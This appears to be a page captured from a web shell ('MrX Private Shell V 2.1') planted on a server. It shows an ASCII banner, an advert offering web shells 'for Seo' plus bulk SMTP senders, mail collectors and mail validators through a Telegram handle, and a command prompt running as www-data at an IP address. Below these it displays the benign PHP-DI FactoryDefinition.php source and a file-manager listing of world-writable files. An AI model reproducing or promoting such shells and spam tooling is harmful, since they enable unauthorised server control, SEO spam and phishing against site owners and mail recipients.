__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php

declare(strict_types=1);

namespace DI\Definition;

/**
 * Definition of a value or class with a factory.
 *
 * @author Matthieu Napoli <matthieu@mnapoli.fr>
 */
class FactoryDefinition implements Definition
{
    /**
     * Entry name.
     */
    private string $name;

    /**
     * Callable that returns the value.
     * @var callable
     */
    private $factory;

    /**
     * Factory parameters.
     * @var mixed[]
     */
    private array $parameters;

    /**
     * @param string $name Entry name
     * @param callable|array|string $factory Callable that returns the value associated to the entry name.
     * @param array $parameters Parameters to be passed to the callable
     */
    public function __construct(string $name, callable|array|string $factory, array $parameters = [])
    {
        $this->name = $name;
        $this->factory = $factory;
        $this->parameters = $parameters;
    }

    public function getName() : string
    {
        return $this->name;
    }

    public function setName(string $name) : void
    {
        $this->name = $name;
    }

    /**
     * @return callable|array|string Callable that returns the value associated to the entry name.
     */
    public function getCallable() : callable|array|string
    {
        return $this->factory;
    }

    /**
     * @return array Array containing the parameters to be passed to the callable, indexed by name.
     */
    public function getParameters() : array
    {
        return $this->parameters;
    }

    public function replaceNestedDefinitions(callable $replacer) : void
    {
        $this->parameters = array_map($replacer, $this->parameters);
    }

    public function __toString() : string
    {
        return 'Factory';
    }
}

Filemanager

Name Type Size Permission Actions
Dumper Folder 0777
Exception Folder 0777
Helper Folder 0777
ObjectDefinition Folder 0777
Resolver Folder 0777
Source Folder 0777
ArrayDefinition.php File 1.31 KB 0777
ArrayDefinitionExtension.php File 1017 B 0777
AutowireDefinition.php File 170 B 0777
DecoratorDefinition.php File 782 B 0777
Definition.php File 847 B 0777
EnvironmentVariableDefinition.php File 2.5 KB 0777
ExtendsPreviousDefinition.php File 323 B 0777
FactoryDefinition.php File 1.72 KB 0777
InstanceDefinition.php File 1.12 KB 0777
ObjectDefinition.php File 6.29 KB 0777
Reference.php File 1.29 KB 0777
SelfResolvingDefinition.php File 528 B 0777
StringDefinition.php File 2.21 KB 0777
ValueDefinition.php File 1.11 KB 0777
Filemanager